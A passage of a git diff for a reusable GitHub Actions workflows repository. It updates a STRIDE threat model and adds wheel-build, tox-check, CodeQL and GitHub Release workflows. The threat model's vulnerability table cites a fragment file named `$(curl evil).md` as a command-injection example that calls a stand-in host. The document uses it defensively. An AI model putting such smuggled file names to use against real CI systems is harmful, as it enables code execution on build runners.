diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md index 4ab014d..bc51433 100644 --- a/.github/THREAT_MODEL.md +++ b/.github/THREAT_MODEL.md @@ -52,20 +52,24 @@ An attacker who controls any of these already has what github-workflows could gi ## Untrusted inputs -| Input | Comes from | What github-workflows guarantees | -| ----------------------------- | --------------------------- | ----------------------------------------------------------------------------------------------- | -| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | -| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, as regular files, from the patch. | -| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | +| Input | Comes from | What github-workflows guarantees | +| ---------------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | +| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, or the paths the caller's `allowed-paths` names, as regular files or deletions. | +| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | +| Repository hooks and LaTeX sources | The caller's repository, including pull requests | LaTeX and pre-commit hook code runs in jobs without a write token, except the mirror job, which refuses pull request and other untrusted caller events before it checks out the repository. | ## Threats and controls -| STRIDE | Threat | Control | -| ---------------------- | --------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- | -| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. | -| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. | -| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | -| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | +| STRIDE | Threat | Control | +| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. | +| Tampering | A maintenance patch from a job that ran project code changes a path or mode outside the caller's allowlist, or replaces a reviewed maintenance branch. | `open-maintenance-pr` checks paths and modes in a read-only job, then verifies the digest of that patch before minting the App token. Each run force-pushes only its own branch with a lease, and the pull request still needs review. | +| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code and refuses pull request and other untrusted caller events before it checks out the repository. | +| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. | +| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. | +| Tampering | A pull request replaces the Pages PDF or moves a published mirror tag. | The deploy job runs only on `main` and is the only job with write permission. The mirror compares a published tag's tree, refuses different content, and pushes without force. | +| Elevation of privilege | Pull request hook code runs with the mirror job's write token. | The mirror job refuses `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` callers before it checks out the repository, so hook code from a pull request never runs with its write token. | ## Release chain @@ -74,12 +78,14 @@ Callers pin the full commit SHA of a release. ## Vulnerability or bug -| Report | Verdict | Why | -| ----------------------------------------------------------- | ------------- | -------------------------------- | -| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | -| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | -| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. | -| A tool update waits seven days to land | Expected | The cooldown is deliberate. | +| Report | Verdict | Why | +| ------------------------------------------------------------------------------------------------------------------------ | ------------- | ------------------------------------------------------------- | +| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. | +| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. | +| A maintenance patch whose caller allowlist admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | +| A release patch whose caller `allowed-paths` admits `.github/workflows/` is accepted | Not ours | The allowlist is caller configuration. | +| A writer job runs for a `pull_request`, `pull_request_target`, `workflow_run`, `issue_comment`, and `merge_group` caller | Vulnerability | Writer jobs refuse those events before any checkout or token. | +| A tool update waits seven days to land | Expected | The cooldown is deliberate. | ## Severity @@ -92,6 +98,8 @@ Callers pin the full commit SHA of a release. ## Accepted risks - The build job runs the project's own build backend; its outputs, not its behavior, are verified. +- The mirror job runs the caller's pre-commit hooks while it holds `contents: write`. It refuses pull request and other + untrusted caller events, so hooks run only for pushes, schedules, dispatches and releases. ## Keeping this current diff --git a/.github/workflows/build-maturin-wheels.yaml b/.github/workflows/build-maturin-wheels.yaml new file mode 100644 index 0000000..e10452c --- /dev/null +++ b/.github/workflows/build-maturin-wheels.yaml @@ -0,0 +1,207 @@ +name: Build maturin wheels +on: + workflow_call: + inputs: + package-name: + description: Distribution name that prefixes the artifact names, such as pyproject-fmt + required: true + type: string + package-path: + description: Directory holding the package's Cargo.toml and build backend, . for the repository root + default: "." + type: string + matrix: + description: JSON array of build entries with os, target, artifact, and optional python, manylinux, and args + required: true + type: string + sdist: + description: Build the sdist and upload it as the sdist artifact + default: true + type: boolean + release-build: + description: Build a release without sccache; any tag ref already does + default: false + type: boolean + pre-build-command: + description: Shell command run once before the wheels, in the repository root, such as a version bump + default: "" + type: string + post-build-command: + description: Shell command run in each wheel job after maturin, with the wheels in dist, such as vendoring + default: "" + type: string + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + default: 7 days + type: string + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + default: "" + type: string +permissions: {} +jobs: + source: + name: ๐Ÿท๏ธ Prepare source + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + artifact-id: ${{ steps.source.outputs.artifact-id }} + maturin-version: ${{ steps.maturin.outputs.version }} + release: ${{ inputs.release-build || startsWith(github.ref, 'refs/tags/') }} + source-date-epoch: ${{ steps.source-date-epoch.outputs.value }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - name: ๐Ÿ“ฆ Install locked release build tools + uses: $/install-locked-tools + with: + groups: release-build + venv: ${{ runner.temp }}/release-tools + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: โš™๏ธ Read locked maturin version + id: maturin + shell: bash + run: | + set -euo pipefail + version=$("$RUNNER_TEMP/release-tools/bin/maturin" --version) + printf 'version=v%s\n' "${version#maturin }" >>"$GITHUB_OUTPUT" + - name: โš™๏ธ Read source timestamp + id: source-date-epoch + shell: bash + run: echo "value=$(git log -1 --format=%ct)" >>"$GITHUB_OUTPUT" + - name: ๐Ÿท๏ธ Run pre-build command + if: ${{ inputs.pre-build-command != '' }} + shell: bash + env: + PRE_BUILD_COMMAND: ${{ inputs.pre-build-command }} + run: bash -c "$PRE_BUILD_COMMAND" + - name: ๐Ÿ“ค Upload source + id: source + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: ${{ inputs.package-name }}-source + path: | + . + !.git + compression-level: 9 + retention-days: 1 + if-no-files-found: error + build: + name: ๐Ÿ—๏ธ ${{ matrix.artifact }} + needs: [source] + runs-on: ${{ matrix.os }} + permissions: + contents: read + env: + SOURCE_DATE_EPOCH: ${{ needs.source.outputs.source-date-epoch }} + strategy: + fail-fast: false + matrix: + include: ${{ fromJSON(inputs.matrix) }} + steps: + - name: ๐Ÿ“ฉ Download source + id: download + background: true + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.source.outputs.artifact-id }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + env: + UV_VENV_SEED: "true" + with: + version: latest-known + python-version: "3.15" + enable-cache: false + activate-environment: true + - name: โณ Wait for source + wait: download + - name: ๐Ÿ—๏ธ Build wheels + uses: PyO3/maturin-action@e83996d129638aa358a18fbd1dfb82f0b0fb5d3b # v1.51.0 + with: + maturin-version: ${{ needs.source.outputs.maturin-version }} + target: ${{ matrix.target }} + args: >- + -m ${{ inputs.package-path }}/Cargo.toml --locked --release --out dist --target-dir target --interpreter ${{ matrix.python || '3.15' }} ${{ matrix.args }} + manylinux: ${{ matrix.manylinux || 'auto' }} + docker-options: --env SOURCE_DATE_EPOCH + sccache: ${{ needs.source.outputs.release != 'true' }} + - name: ๐Ÿ—๏ธ Run post-build command + if: ${{ inputs.post-build-command != '' }} + shell: bash + env: + POST_BUILD_COMMAND: ${{ inputs.post-build-command }} + run: bash -c "$POST_BUILD_COMMAND" + - name: ๐Ÿ“ค Upload wheels + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: ${{ inputs.package-name }}-wheels-${{ matrix.artifact }} + path: dist + if-no-files-found: error + sdist: + name: ๐Ÿ—๏ธ sdist + if: ${{ inputs.sdist }} + needs: [source] + runs-on: ubuntu-26.04 + env: + SOURCE_DATE_EPOCH: ${{ needs.source.outputs.source-date-epoch }} + permissions: + contents: read + steps: + - name: ๐Ÿ“ฉ Download source + id: download + background: true + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ needs.source.outputs.artifact-id }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - name: โณ Wait for source + wait: download + - name: ๐Ÿ“ฆ Export locked build constraints + id: constraints + uses: $/export-build-constraints + with: + exclude-newer: ${{ inputs.exclude-newer }} + exclude-newer-package: ${{ inputs.exclude-newer-package }} + - name: ๐Ÿ—๏ธ Build sdist + shell: bash + env: + BUILD_CONSTRAINTS: ${{ steps.constraints.outputs.path }} + PACKAGE_PATH: ${{ inputs.package-path }} + run: | + set -euo pipefail + uv build --sdist --out-dir dist --build-constraints "$BUILD_CONSTRAINTS" --require-build-hashes "$PACKAGE_PATH" + - name: ๐Ÿ“ค Upload sdist + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: ${{ inputs.package-name }}-wheels-sdist + path: dist + if-no-files-found: error + gate: + name: ๐Ÿšฆ Build distributions pass + if: ${{ !cancelled() }} + needs: [source, build, sdist] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - name: ๐Ÿšฆ Require all needed jobs to pass + uses: $/required-checks + with: + needs: ${{ toJSON(needs) }} + allow-skipped: sdist diff --git a/.github/workflows/check.yaml b/.github/workflows/check.yaml index 6c035af..5e89d02 100644 --- a/.github/workflows/check.yaml +++ b/.github/workflows/check.yaml @@ -1,145 +1,146 @@ name: Check on: - pull_request: - types: [opened, reopened, synchronize] -permissions: - contents: read -concurrency: - group: check-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} - cancel-in-progress: ${{ github.run_attempt == 1 }} + workflow_call: + inputs: + include: + description: JSON array of matrix rows; each has env, and optionally python and os + type: string + required: true + os: + description: Runner for rows without an os + type: string + default: ubuntu-26.04 + apt-packages: + description: Space-separated Ubuntu packages installed on Linux jobs before tox runs + type: string + default: "" + tox-install: + description: Arguments to uv tool install that put tox and its plugins on PATH + type: string + default: tox --with tox-uv + exclude-newer: + description: Upload cutoff for the tox install, a timestamp or a duration + type: string + default: 7 days + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + type: string + default: "" + pytest-addopts: + description: PYTEST_ADDOPTS for the test run + type: string + default: "-vv --durations=20" + diff-against: + description: DIFF_AGAINST for the test run, a Git revision the tests compare with + type: string + default: HEAD + coverage: + description: Upload each job's .tox/.coverage.* data as an artifact for a caller job to merge + type: boolean + default: false +permissions: {} jobs: - check: - name: ๐Ÿงน Check formatting - runs-on: ubuntu-26.04 + test: + name: ๐Ÿงช ${{ matrix.env }} on ${{ matrix.os || inputs.os }} + runs-on: ${{ matrix.os || inputs.os }} permissions: contents: read + strategy: + fail-fast: false + matrix: + include: ${{ fromJSON(inputs.include) }} steps: - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: - fetch-depth: 1 + fetch-depth: 0 persist-credentials: false - - name: ๐Ÿ’พ Restore prek cache - uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/.cache/prek - key: prek-${{ runner.os }}-${{ runner.arch }}-${{ hashFiles('.pre-commit-config.yaml') }} - - name: ๐Ÿ Install uv and Python - uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 - with: - version: latest-known - python-version: "3.15" - enable-cache: true - cache-suffix: ${{ github.job }} - cache-dependency-glob: pyproject.toml - - name: ๐Ÿ“ฆ Install release tools + - name: ๐Ÿ“ฆ Install apt packages + id: apt + background: true + shell: bash env: - EXCLUDE_NEWER: 7 days + APT_PACKAGES: ${{ inputs.apt-packages }} run: | - tools/install_live_tools.sh .release-tools 'prek>=0.2' - uv run --no-project --python .release-tools python tools/expose_locked_commands.py .release-tools - - name: ๐Ÿงน Check repository formatting - run: tools/cooled_prek.sh run --all-files - shell: - name: ๐Ÿงน Check inline shell - runs-on: ubuntu-26.04 - permissions: - contents: read - steps: - - name: ๐Ÿ“ฅ Check out repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - fetch-depth: 1 - persist-credentials: false - - name: ๐Ÿ’พ Restore prek cache - uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/.cache/prek - key: prek-${{ runner.os }}-${{ runner.arch }}-${{ hashFiles('.pre-commit-config.yaml') }} + set -euo pipefail + if [[ -z "$APT_PACKAGES" || "$RUNNER_OS" != Linux ]]; then + echo 'Apt packages skipped: the apt-packages input is empty or the runner is not Linux' + exit 0 + fi + read -ra packages <<<"$APT_PACKAGES" + sudo apt-get update + sudo apt-get install -y "${packages[@]}" - name: ๐Ÿ Install uv and Python uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 with: version: latest-known python-version: "3.15" - enable-cache: true - cache-suffix: ${{ github.job }} - cache-dependency-glob: pyproject.toml - - name: ๐Ÿ“ฆ Install release tools + enable-cache: false + - name: ๐Ÿ“ฆ Install tox + id: tox + background: true + shell: bash env: - EXCLUDE_NEWER: 7 days + TOX_INSTALL: ${{ inputs.tox-install }} + EXCLUDE_NEWER: ${{ inputs.exclude-newer }} + EXCLUDE_NEWER_PACKAGE: ${{ inputs.exclude-newer-package }} run: | - tools/install_live_tools.sh .release-tools 'prek>=0.2' 'yq>=4.4.5' - uv run --no-project --python .release-tools python tools/expose_locked_commands.py .release-tools - - name: ๐Ÿงน Check inline shell + set -euo pipefail + read -ra spec <<<"$TOX_INSTALL" + options=(--exclude-newer "$EXCLUDE_NEWER") + while IFS= read -r line; do + if [[ -n "$line" ]]; then options+=(--exclude-newer-package "$line"); fi + done <<<"$EXCLUDE_NEWER_PACKAGE" + echo "Installing ${spec[*]} with uploads older than $EXCLUDE_NEWER" + uv tool install --python-preference only-managed --python 3.15 "${options[@]}" "${spec[@]}" + - name: ๐Ÿ Install Python + id: python + background: true + shell: bash + env: + PYTHON: ${{ matrix.python }} run: | set -euo pipefail - script_dir=./inline-shell-check - mkdir "$script_dir" - trap 'rm -rf "$script_dir"' EXIT - for file in .github/workflows/*.yaml */action.yml; do - yq -rj '[.. | objects | select(has("run")) | .run] | .[] | . + "\u0000"' "$file" \ - >"$RUNNER_TEMP/run-blocks" - index=0 - while IFS= read -r -d '' script; do - script_file="$script_dir/run-${file//\//-}-$index.sh" - printf '#!/usr/bin/env bash\n%s\n' "${script%$'\n'}" >"$script_file" - index=$((index + 1)) - done <"$RUNNER_TEMP/run-blocks" - done - scripts=("$script_dir"/*.sh) - echo "Checking ${#scripts[@]} run blocks from the workflows and Actions with shellcheck and shfmt" - tools/cooled_prek.sh run shellcheck --files "$script_dir"/*.sh - tools/cooled_prek.sh run shfmt --files "$script_dir"/*.sh - test: - name: ๐Ÿงช Test actions - runs-on: ubuntu-26.04 - permissions: - contents: read - steps: - - name: ๐Ÿ“ฅ Check out repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - fetch-depth: 1 - persist-credentials: false - - name: ๐Ÿ Install uv and Python - uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 - with: - version: latest-known - python-version: "3.15" - enable-cache: true - cache-suffix: ${{ github.job }} - cache-dependency-glob: pyproject.toml - - name: ๐Ÿงช Run Action tests - run: uvx --with tox-uv tox run -e test - type: - name: ๐Ÿ”Ž Type check - runs-on: ubuntu-26.04 - permissions: - contents: read - steps: - - name: ๐Ÿ“ฅ Check out repository - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - with: - persist-credentials: false - - name: ๐Ÿ Install uv and Python - uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + if [[ -z "$PYTHON" ]]; then + echo 'Python install skipped: the matrix row names no python' + exit 0 + fi + uv python install --python-preference only-managed "$PYTHON" + - name: โณ Wait for apt packages + wait: apt + - name: โณ Wait for tox + wait: tox + - name: โณ Wait for Python + wait: python + - name: ๐Ÿ“ฆ Set up test suite + shell: bash + env: + MATRIX_ENV: ${{ matrix.env }} + run: tox run -vv --notest --skip-missing-interpreters false -e "$MATRIX_ENV" + - name: ๐Ÿงช Run test suite + shell: bash + env: + MATRIX_ENV: ${{ matrix.env }} + PYTEST_ADDOPTS: ${{ inputs.pytest-addopts }} + DIFF_AGAINST: ${{ inputs.diff-against }} + run: tox run --skip-pkg-install -e "$MATRIX_ENV" + - name: ๐Ÿ“ค Upload coverage data + if: ${{ inputs.coverage }} + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 with: - version: latest-known - python-version: "3.15" - enable-cache: true - cache-suffix: ${{ github.job }} - cache-dependency-glob: pyproject.toml - - name: ๐Ÿ”Ž Check Python types - run: uvx --with tox-uv tox run -e type + include-hidden-files: true + name: .coverage.${{ matrix.os || inputs.os }}.${{ matrix.env }} + path: .tox/.coverage.* + if-no-files-found: error + retention-days: 3 gate: name: ๐Ÿšฆ Required checks pass if: ${{ !cancelled() }} - needs: [check, shell, test, type] + needs: [test] runs-on: ubuntu-26.04 + permissions: {} steps: - name: ๐Ÿšฆ Require all needed jobs to pass - env: - NEEDS_JSON: ${{ toJSON(needs) }} - run: | - jq -r 'to_entries[] | "Job \(.key): \(.value.result)"' <<<"$NEEDS_JSON" - jq -e 'all(to_entries[]; .value.result == "success")' <<<"$NEEDS_JSON" + uses: $/required-checks + with: + needs: ${{ toJSON(needs) }} diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml new file mode 100644 index 0000000..f68fe55 --- /dev/null +++ b/.github/workflows/ci.yaml @@ -0,0 +1,147 @@ +name: Check +on: + pull_request: + types: [opened, reopened, synchronize] +permissions: {} +concurrency: + group: check-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} + cancel-in-progress: ${{ github.run_attempt == 1 }} +jobs: + check: + name: ๐Ÿงน Check formatting + runs-on: ubuntu-26.04 + permissions: + contents: read + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 1 + persist-credentials: false + - name: ๐Ÿ’พ Restore prek cache + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/.cache/prek + key: prek-${{ runner.os }}-${{ runner.arch }}-${{ hashFiles('.pre-commit-config.yaml') }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: true + cache-suffix: ${{ github.job }} + cache-dependency-glob: pyproject.toml + - name: ๐Ÿ“ฆ Install release tools + env: + EXCLUDE_NEWER: 7 days + run: | + tools/install_live_tools.sh .release-tools 'prek>=0.2' + uv run --no-project --python .release-tools python tools/expose_locked_commands.py .release-tools + - name: ๐Ÿงน Check repository formatting + run: tools/cooled_prek.sh run --all-files + shell: + name: ๐Ÿงน Check inline shell + runs-on: ubuntu-26.04 + permissions: + contents: read + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 1 + persist-credentials: false + - name: ๐Ÿ’พ Restore prek cache + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/.cache/prek + key: prek-${{ runner.os }}-${{ runner.arch }}-${{ hashFiles('.pre-commit-config.yaml') }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: true + cache-suffix: ${{ github.job }} + cache-dependency-glob: pyproject.toml + - name: ๐Ÿ“ฆ Install release tools + env: + EXCLUDE_NEWER: 7 days + run: | + tools/install_live_tools.sh .release-tools 'prek>=0.2' 'yq>=4.4.5' + uv run --no-project --python .release-tools python tools/expose_locked_commands.py .release-tools + - name: ๐Ÿงน Check inline shell + run: | + set -euo pipefail + script_dir=./inline-shell-check + mkdir "$script_dir" + trap 'rm -rf "$script_dir"' EXIT + for file in .github/workflows/*.yaml */action.yml; do + yq -rj '[.. | objects | select(has("run")) | .run] | .[] | . + "\u0000"' "$file" \ + >"$RUNNER_TEMP/run-blocks" + index=0 + while IFS= read -r -d '' script; do + script_file="$script_dir/run-${file//\//-}-$index.sh" + printf '#!/usr/bin/env bash\n%s\n' "${script%$'\n'}" >"$script_file" + index=$((index + 1)) + done <"$RUNNER_TEMP/run-blocks" + done + scripts=("$script_dir"/*.sh) + echo "Checking ${#scripts[@]} run blocks from the workflows and Actions with shellcheck and shfmt" + tools/cooled_prek.sh run shellcheck --files "$script_dir"/*.sh + tools/cooled_prek.sh run shfmt --files "$script_dir"/*.sh + test: + name: ๐Ÿงช Test actions + runs-on: ubuntu-26.04 + permissions: + contents: read + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 1 + persist-credentials: false + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: true + cache-suffix: ${{ github.job }} + cache-dependency-glob: pyproject.toml + - name: ๐Ÿงช Run Action tests + env: + EXCLUDE_NEWER: 7 days + run: uvx --exclude-newer "$EXCLUDE_NEWER" --with tox-uv tox run -e test + type: + name: ๐Ÿ”Ž Type check + runs-on: ubuntu-26.04 + permissions: + contents: read + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: true + cache-suffix: ${{ github.job }} + cache-dependency-glob: pyproject.toml + - name: ๐Ÿ”Ž Check Python types + env: + EXCLUDE_NEWER: 7 days + run: uvx --exclude-newer "$EXCLUDE_NEWER" --with tox-uv tox run -e type + gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [check, shell, test, type] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - name: ๐Ÿšฆ Require all needed jobs to pass + uses: $/required-checks + with: + needs: ${{ toJSON(needs) }} diff --git a/.github/workflows/codeql-self.yaml b/.github/workflows/codeql-self.yaml new file mode 100644 index 0000000..ce1f9f7 --- /dev/null +++ b/.github/workflows/codeql-self.yaml @@ -0,0 +1,22 @@ +name: ๐Ÿ›ก๏ธ CodeQL +on: + push: + branches: [main] + pull_request: + schedule: + - cron: "0 9 * * 2" + workflow_dispatch: +permissions: {} +concurrency: + group: codeql-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} + cancel-in-progress: ${{ github.run_attempt == 1 }} +jobs: + analyze: + name: ๐Ÿ›ก๏ธ Analyze + uses: $/.github/workflows/codeql.yaml + permissions: + contents: read + security-events: write + with: + languages: '["actions","python"]' + paths-ignore: '["tests"]' diff --git a/.github/workflows/codeql.yaml b/.github/workflows/codeql.yaml index 1bef2d8..b9f857f 100644 --- a/.github/workflows/codeql.yaml +++ b/.github/workflows/codeql.yaml @@ -1,15 +1,28 @@ -name: ๐Ÿ›ก๏ธ CodeQL +name: CodeQL on: - push: - branches: [main] - pull_request: - schedule: - - cron: "0 9 * * 2" - workflow_dispatch: + workflow_call: + inputs: + languages: + description: JSON array of CodeQL languages; each language gets its own analysis job + type: string + default: '["actions","python"]' + paths-ignore: + description: JSON array of path patterns CodeQL skips, written to its configuration + type: string + default: "[]" + queries: + description: Query suite or comma-separated query list for CodeQL init + type: string + default: security-extended + config-file: + description: Repository path to a CodeQL configuration file; when set, paths-ignore has no effect + type: string + default: "" + build-mode: + description: CodeQL build mode for each language, such as none or autobuild + type: string + default: none permissions: {} -concurrency: - group: codeql-${{ github.ref }}-${{ github.run_attempt > 1 && github.run_id || 'current' }} - cancel-in-progress: ${{ github.run_attempt == 1 }} jobs: analyze: name: ๐Ÿ›ก๏ธ Analyze ${{ matrix.language }} @@ -20,22 +33,21 @@ jobs: strategy: fail-fast: false matrix: - language: [actions, python] + language: ${{ fromJSON(inputs.languages) }} steps: - name: ๐Ÿ“ฅ Check out repository uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - name: ๐Ÿ›ก๏ธ Initialize CodeQL - uses: github/codeql-action/init@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0 + uses: github/codeql-action/init@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: languages: ${{ matrix.language }} - build-mode: none - queries: security-extended - config: | - paths-ignore: - - tests + build-mode: ${{ inputs.build-mode }} + queries: ${{ inputs.queries }} + config-file: ${{ inputs.config-file }} + config: "${{ inputs.config-file == '' && format('paths-ignore: {0}', inputs.paths-ignore) || '' }}" - name: ๐Ÿ›ก๏ธ Analyze - uses: github/codeql-action/analyze@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0 + uses: github/codeql-action/analyze@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: category: "/language:${{ matrix.language }}" diff --git a/.github/workflows/github-release.yaml b/.github/workflows/github-release.yaml new file mode 100644 index 0000000..b512edc --- /dev/null +++ b/.github/workflows/github-release.yaml @@ -0,0 +1,103 @@ +name: Publish GitHub Release +on: + workflow_call: + inputs: + project: + description: PyPI project name + required: true + type: string + version: + description: PyPI release version, without a package prefix from the tag + required: true + type: string + tag: + description: Release tag, such as 1.2.3 or pyproject-fmt/1.2.3 + required: true + type: string + artifact-pattern: + description: Name pattern of the distribution artifacts the publisher uploaded + required: true + type: string + notes-artifact-id: + description: Artifact ID of the rendered GitHub Release notes + required: true + type: string + title-prefix: + description: Text before the tag in the GitHub Release title, such as v + default: "" + type: string + assets-directory: + description: Directory of extra GitHub Release assets; dist attaches the distributions + default: "" + type: string + exclude-newer: + description: Upload cutoff for the tools the shared Actions install from PyPI + default: 7 days + type: string + exclude-newer-package: + description: Newline-separated name=date cutoffs that override exclude-newer for single packages + default: "" + type: string +permissions: {} +jobs: + github-release: + name: ๐Ÿš€ Publish GitHub Release + runs-on: ubuntu-26.04 + environment: release + permissions: + contents: write + steps: + - name: ๐Ÿšซ Refuse untrusted caller event + env: + EVENT_NAME: ${{ github.event_name }} + run: | + case "$EVENT_NAME" in + pull_request | pull_request_target | workflow_run | issue_comment | merge_group) + echo "::error::writer job refuses $EVENT_NAME callers; call it from push, schedule, workflow_dispatch or release" + exit 1 + ;; + esac + - name: ๐Ÿ“ฉ Download distributions + id: distributions + background: true + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + pattern: ${{ inputs.artifact-pattern }} + path: dist + merge-multiple: true + - name: ๐Ÿ“ฉ Download release notes + id: notes + background: true + uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + artifact-ids: ${{ inputs.notes-artifact-id }} + path: ${{ runner.temp }} + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + ignore-empty-workdir: true + - name: โณ Wait for distributions + wait: distributions + - name: โณ Wait for release notes + wait: notes + - name: ๐Ÿ” Verify PyPI artifacts + uses: $/reconcile-pypi-artifacts + with: + project: ${{ inputs.project }} + version: ${{ inputs.version }} + dist: dist + exclude-newer: ${{ 